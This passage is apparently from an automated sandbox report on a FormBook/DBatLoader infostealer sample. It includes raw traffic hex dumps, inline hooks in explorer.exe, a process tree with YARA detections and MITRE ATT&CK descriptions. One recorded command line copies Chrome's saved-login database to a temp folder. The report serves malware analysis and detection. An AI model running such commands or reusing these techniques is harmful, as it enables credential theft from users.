4b db 0d 37 8d ab 37 a1 c7 63 98 e6 a6 d4 c2 ea 08 9e 2d 88 be ca ac 26 e7 b9 47 86 6f 22 d5 4a e3 18 b6 38 6f d3 c6 ed cf 6a d9 Data Ascii: cD}sZh"WVv;<eE?.Fe+cHrrf"o1\N"GQB:k!t.^}-.9#>09fX8\C^oHxvr ='HCxi(+Eiu/8`ewlK77c-&Go"J8oj
2022-01-13 19:22:56 UTC	1455	IN	Data Raw: 96 40 b0 66 4f 68 b1 8c 2e 48 c1 6c a8 20 02 e9 65 38 1b dd 3e 74 e5 e7 18 62 bd 22 36 19 e0 a7 a5 f1 78 f8 72 9b c4 be 89 9a 42 05 78 12 67 cf 39 99 c5 67 68 db 40 0a 81 bf f3 ea 3e 0e 78 d9 22 5b b1 34 5d d6 e3 8e a6 97 bd 8a dd a0 76 cc 7b 07 08 85 e4 e4 ec 72 64 44 fe f2 78 34 52 1d 68 e6 a9 e6 6d ad 49 76 6f a1 cc d7 91 a2 dc 3b aa 65 38 1b f0 64 ad 9b 7a fd e4 24 3e 0e 78 ed 7e 97 32 95 b9 a8 a8 1c 22 4c ef 74 8a 71 e2 1c c0 31 41 f3 c1 18 65 82 0e 87 53 37 a9 e6 99 7f 88 95 72 cc e3 66 b6 04 a3 2a 2d 4b 8e a3 55 1d d7 3b 94 40 70 ed b6 2b cc 2b 47 8b 51 73 ba b6 04 8f d9 22 36 52 e9 99 b3 8b e4 9d 93 98 93 24 5c c7 e5 6a ad 98 47 08 91 ef 72 9b c0 a8 3c 04 20 ae ad e1 ba a5 05 0c 7d 01 00 ed 79 f4 84 8d 25 52 3e 84 4c 95 cd 51 22 48 ef a9 a1 b3 88 Data Ascii: @fOh.Hl e8>tb"6xrBxg9gh@>x"[4]v{rdDx4RhmIvo;e8dz$>x~2"Ltq1AeS7rf*-KU;@p++GQs"6R$\jGr< }y%R>LQ"H
2022-01-13 19:22:56 UTC	1471	IN	Data Raw: 0c ea f2 80 83 0a 7e 7f 01 ea 6e 5b b1 70 60 3c ec 72 64 45 80 83 0a 7e 7f 01 ea 6e 5b b1 70 60 7c 12 13 82 e9 83 63 b7 0d 61 dd a9 1b 4f f6 e6 17 7f 75 93 68 0b 12 8f 64 71 c6 1e ea 5d 5e 38 a4 e0 94 af 2b 71 b6 fb 53 a9 3e f1 bd bc 54 22 f3 34 83 0a 3e c7 ec 72 24 d0 ac e5 e3 de 43 7c 3a 80 bf 8f 24 b7 7d fc 96 b4 f6 88 95 32 d6 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 ba 6c 6b 15 9d 2f 31 3a 9a d8 32 ae ac a0 c3 97 76 59 89 17 5a 1c 4e 14 d4 0e 4b 8e e2 6a 06 75 ab 54 42 fa d1 80 df d5 ff 2a 9d 43 3c da 06 75 ab 04 50 19 1f 2c d9 c8 63 a4 37 61 be 0c 82 87 13 12 8f 24 b7 7d fc 96 b4 f6 88 95 32 d6 42 fa 91 29 42 fa 91 29 42 fa d1 d1 52 6f b2 80 f1 b8 8b 6e 14 fa d8 03 e5 e3 9e f1 d9 c8 63 f0 93 2d 0b 33 95 32 96 82 d3 bb c6 28 a0 ca 67 fa cd Data Ascii: ~n[p`<rdE~n[p`\|caOuhdq]^8+qS>T"4>r$C\|:$}2B)B)B)B)Blk/1:2vYZNKjuTB*C<uP,c7a$}2B)B)BRonc-32(g
2022-01-13 19:22:56 UTC	1487	IN	Data Raw: 80 87 37 25 b1 74 4c 54 ab a1 4f b3 70 eb 2d 48 48 ec 8d df 22 8c 76 b8 74 ab 61 9a b9 0a 70 1c aa 1d ab 8d 0b ff e3 2a bb 6e 53 bb c2 9e f7 e0 a5 7e 7b dc 0b 89 d2 3a e2 22 4e 2f 58 40 7e 77 cb fd 93 25 1e ee fe 9e e1 9e 4e 5b c4 18 9d b5 7c 5e 7c f1 f9 2b 03 67 0a 7d d8 42 71 1d d7 3c 6e b3 74 68 4e aa 09 fa 21 29 cb 8d 24 3c 34 d0 b4 f6 88 96 91 29 c9 81 01 61 be 48 82 37 64 44 38 cf 71 69 d0 70 e6 71 41 b8 cc 2b 03 68 5a 32 d5 bf cb 2f 48 02 6d d9 8c 18 89 b6 e3 a3 5d b6 bf 09 ef c4 99 3a ac 63 db f0 7a 76 29 c4 0e ba 2d 04 0f 09 bf 09 ef c4 21 54 57 a8 98 3e e9 e9 d7 c0 35 19 94 51 b0 16 13 12 8f 25 32 3f ad ec 72 64 44 f1 14 6b 2a 33 1b cb ad a7 da 4e 30 96 3f 5b 38 e0 7c 3e 7a 74 a5 d6 46 27 7a ff df d6 66 4d 19 3c 90 aa 1d ab 9d bc fd 49 61 b6 df Data Ascii: 7%tLTOp-HH"vtapnS~{:"N/X@~w%N[\|^\|+g}Bq<nthN!)$<4)aH7dD8qipqA+hZ2/Hm]:czv)-!TW>5Q%2?rdDk3N0?[8\|>ztF'zfM<Ia

Code Manipulations

User Modules

Hook Summary

Function Name	Hook Type	Active in Processes
PeekMessageA	INLINE	explorer.exe
PeekMessageW	INLINE	explorer.exe
GetMessageW	INLINE	explorer.exe
GetMessageA	INLINE	explorer.exe

Processes

Process: explorer.exe, Module: user32.dll

Function Name	Hook Type	New Data
PeekMessageA	INLINE	0x48 0x8B 0xB8 0x88 0x8E 0xE3
PeekMessageW	INLINE	0x48 0x8B 0xB8 0x80 0x0E 0xE3
GetMessageW	INLINE	0x48 0x8B 0xB8 0x80 0x0E 0xE3
GetMessageA	INLINE	0x48 0x8B 0xB8 0x88 0x8E 0xE3

Statistics

Behavior

Click to jump to process

System Behavior

Analysis Process: WZ454554.exe PID: 6628 Parent PID: 5028

General

Start time:	20:22:15
Start date:	13/01/2022
Path:	C:\Users\user\Desktop\WZ454554.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\WZ454554.exe"
Imagebase:	0x400000
File size:	807424 bytes
MD5 hash:	58B39C2620CDDA3D3FA6A125F476FC9F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000002.00000000.283008845.0000000000401000.00000020.00020000.sdmp, Author: Joe Security
Reputation:	low

Analysis Process: WZ454554.exe PID: 6936 Parent PID: 6628

General

Start time:	20:22:34
Start date:	13/01/2022
Path:	C:\Users\user\Desktop\WZ454554.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\WZ454554.exe
Imagebase:	0x400000
File size:	807424 bytes
MD5 hash:	58B39C2620CDDA3D3FA6A125F476FC9F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000009.00000000.323155523.0000000000401000.00000020.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000009.00000000.321956986.0000000000401000.00000020.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000009.00000000.322739212.0000000000401000.00000020.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000009.00000002.407793404.00000000005E0000.00000040.00020000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000009.00000002.407793404.00000000005E0000.00000040.00020000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000009.00000002.407793404.00000000005E0000.00000040.00020000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000009.00000000.322356028.0000000000401000.00000020.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000009.00000000.324007988.0000000000400000.00000040.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000009.00000000.324007988.0000000000400000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000009.00000000.324007988.0000000000400000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000009.00000002.407506141.0000000000400000.00000040.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000009.00000002.407506141.0000000000400000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000009.00000002.407506141.0000000000400000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000009.00000001.324511598.0000000000400000.00000040.00020000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000009.00000001.324511598.0000000000400000.00000040.00020000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000009.00000001.324511598.0000000000400000.00000040.00020000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000009.00000002.407725220.00000000005B0000.00000040.00020000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000009.00000002.407725220.00000000005B0000.00000040.00020000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000009.00000002.407725220.00000000005B0000.00000040.00020000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000009.00000000.324380363.0000000000400000.00000040.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000009.00000000.324380363.0000000000400000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000009.00000000.324380363.0000000000400000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	low

Analysis Process: explorer.exe PID: 3352 Parent PID: 6936

General

Start time:	20:22:36
Start date:	13/01/2022
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0x7ff720ea0000
File size:	3933184 bytes
MD5 hash:	AD5296B280E8F522A8A897C96BAB0E1D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 0000000A.00000000.360550532.00000000100E2000.00000040.00020000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 0000000A.00000000.360550532.00000000100E2000.00000040.00020000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 0000000A.00000000.360550532.00000000100E2000.00000040.00020000.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	high

Analysis Process: Hyrzbcwcas.exe PID: 1840 Parent PID: 3352

General

Start time:	20:22:43
Start date:	13/01/2022
Path:	C:\Users\user\Contacts\Hyrzbcwcas.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Contacts\Hyrzbcwcas.exe"
Imagebase:	0x400000
File size:	807424 bytes
MD5 hash:	58B39C2620CDDA3D3FA6A125F476FC9F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 0000000D.00000000.342065760.0000000000401000.00000020.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: C:\Users\user\Contacts\Hyrzbcwcas.exe, Author: Joe Security
Antivirus matches:	Detection: 39%, ReversingLabs
Reputation:	low

Analysis Process: Hyrzbcwcas.exe PID: 7108 Parent PID: 3352

General

Start time:	20:22:52
Start date:	13/01/2022
Path:	C:\Users\user\Contacts\Hyrzbcwcas.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Contacts\Hyrzbcwcas.exe"
Imagebase:	0x400000
File size:	807424 bytes
MD5 hash:	58B39C2620CDDA3D3FA6A125F476FC9F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 0000000E.00000000.360667337.0000000000401000.00000020.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 0000000E.00000000.363228459.0000000000401000.00000020.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 0000000E.00000000.362225116.0000000000401000.00000020.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 0000000E.00000000.361296807.0000000000401000.00000020.00020000.sdmp, Author: Joe Security
Reputation:	low

Analysis Process: Hyrzbcwcas.exe PID: 5708 Parent PID: 1840

General

Start time:	20:23:08
Start date:	13/01/2022
Path:	C:\Users\user\Contacts\Hyrzbcwcas.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Contacts\Hyrzbcwcas.exe
Imagebase:	0x400000
File size:	807424 bytes
MD5 hash:	58B39C2620CDDA3D3FA6A125F476FC9F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000011.00000002.428947591.00000000005A0000.00000040.00020000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000011.00000002.428947591.00000000005A0000.00000040.00020000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000011.00000002.428947591.00000000005A0000.00000040.00020000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000011.00000000.395638954.0000000000401000.00000020.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000011.00000000.398461439.0000000000401000.00000020.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000011.00000000.397793786.0000000000401000.00000020.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000011.00000000.399621636.0000000000400000.00000040.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000011.00000000.399621636.0000000000400000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000011.00000000.399621636.0000000000400000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000011.00000001.400349591.0000000000400000.00000040.00020000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000011.00000001.400349591.0000000000400000.00000040.00020000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000011.00000001.400349591.0000000000400000.00000040.00020000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000011.00000000.397308343.0000000000401000.00000020.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000011.00000000.400048444.0000000000400000.00000040.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000011.00000000.400048444.0000000000400000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000011.00000000.400048444.0000000000400000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000011.00000002.429108861.00000000005D0000.00000040.00020000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000011.00000002.429108861.00000000005D0000.00000040.00020000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000011.00000002.429108861.00000000005D0000.00000040.00020000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000011.00000002.428671777.0000000000400000.00000040.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000011.00000002.428671777.0000000000400000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000011.00000002.428671777.0000000000400000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	low

Analysis Process: help.exe PID: 6656 Parent PID: 3352

General

Start time:	20:23:11
Start date:	13/01/2022
Path:	C:\Windows\SysWOW64\help.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\help.exe
Imagebase:	0xa50000
File size:	10240 bytes
MD5 hash:	09A715036F14D3632AD03B52D1DA6BFF
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000014.00000002.559491799.00000000030A0000.00000004.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000014.00000002.559491799.00000000030A0000.00000004.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000014.00000002.559491799.00000000030A0000.00000004.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000014.00000002.556874060.0000000002B10000.00000040.00020000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000014.00000002.556874060.0000000002B10000.00000040.00020000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000014.00000002.556874060.0000000002B10000.00000040.00020000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000014.00000002.558403513.0000000002FA0000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000014.00000002.559355148.0000000003070000.00000040.00020000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000014.00000002.559355148.0000000003070000.00000040.00020000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000014.00000002.559355148.0000000003070000.00000040.00020000.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	moderate

Analysis Process: Hyrzbcwcas.exe PID: 6340 Parent PID: 7108

General

Start time:	20:23:17
Start date:	13/01/2022
Path:	C:\Users\user\Contacts\Hyrzbcwcas.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Contacts\Hyrzbcwcas.exe
Imagebase:	0x400000
File size:	807424 bytes
MD5 hash:	58B39C2620CDDA3D3FA6A125F476FC9F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000015.00000000.416006494.0000000000401000.00000020.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000015.00000000.417791279.0000000000401000.00000020.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000015.00000000.418862410.0000000000400000.00000040.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000015.00000000.418862410.0000000000400000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000015.00000000.418862410.0000000000400000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000015.00000002.436930793.00000000008F0000.00000040.00020000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000015.00000002.436930793.00000000008F0000.00000040.00020000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000015.00000002.436930793.00000000008F0000.00000040.00020000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000015.00000000.417110071.0000000000401000.00000020.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000015.00000000.419325156.0000000000400000.00000040.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000015.00000000.419325156.0000000000400000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000015.00000000.419325156.0000000000400000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000015.00000002.436845866.00000000008C0000.00000040.00020000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000015.00000002.436845866.00000000008C0000.00000040.00020000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000015.00000002.436845866.00000000008C0000.00000040.00020000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000015.00000000.415275359.0000000000401000.00000020.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000015.00000002.436315053.0000000000400000.00000040.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000015.00000002.436315053.0000000000400000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000015.00000002.436315053.0000000000400000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000015.00000001.419503342.0000000000400000.00000040.00020000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000015.00000001.419503342.0000000000400000.00000040.00020000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000015.00000001.419503342.0000000000400000.00000040.00020000.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	low

Analysis Process: cmd.exe PID: 5628 Parent PID: 3352

General

Start time:	20:23:20
Start date:	13/01/2022
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\cmd.exe
Imagebase:	0xd80000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000019.00000002.431106841.0000000003000000.00000040.00020000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000019.00000002.431106841.0000000003000000.00000040.00020000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000019.00000002.431106841.0000000003000000.00000040.00020000.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	high

Analysis Process: cmd.exe PID: 4324 Parent PID: 6656

General

Start time:	20:23:20
Start date:	13/01/2022
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	/c copy "C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data" "C:\Users\user\AppData\Local\Temp\DB1" /V
Imagebase:	0xd80000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: conhost.exe PID: 5848 Parent PID: 4324

General

Start time:	20:23:21
Start date:	13/01/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7f20f0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: help.exe PID: 5832 Parent PID: 3352

General

Start time:	20:23:21
Start date:	13/01/2022
Path:	C:\Windows\SysWOW64\help.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\help.exe
Imagebase:	0xa50000
File size:	10240 bytes
MD5 hash:	09A715036F14D3632AD03B52D1DA6BFF
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 0000001C.00000002.437292259.0000000002AD0000.00000040.00020000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 0000001C.00000002.437292259.0000000002AD0000.00000040.00020000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 0000001C.00000002.437292259.0000000002AD0000.00000040.00020000.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	moderate

Disassembly

Code Analysis

Reset < >

Description:	Adversaries may abuse shared modules to execute malicious payloads. The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in NTDLL.dll and is part of the Windows Native API which is called from functions like `CreateProcess` , `LoadLibrary` , etc. of the Win32 API.
Tactics:	Execution
Data Sources:	API monitoring, DLL monitoring, File monitoring, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	File monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits are programs that hide the existence of malware by intercepting/hooking and modifying operating system API calls that supply system information.
Tactics:	Defense Evasion
Data Sources:	BIOS, MBR, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
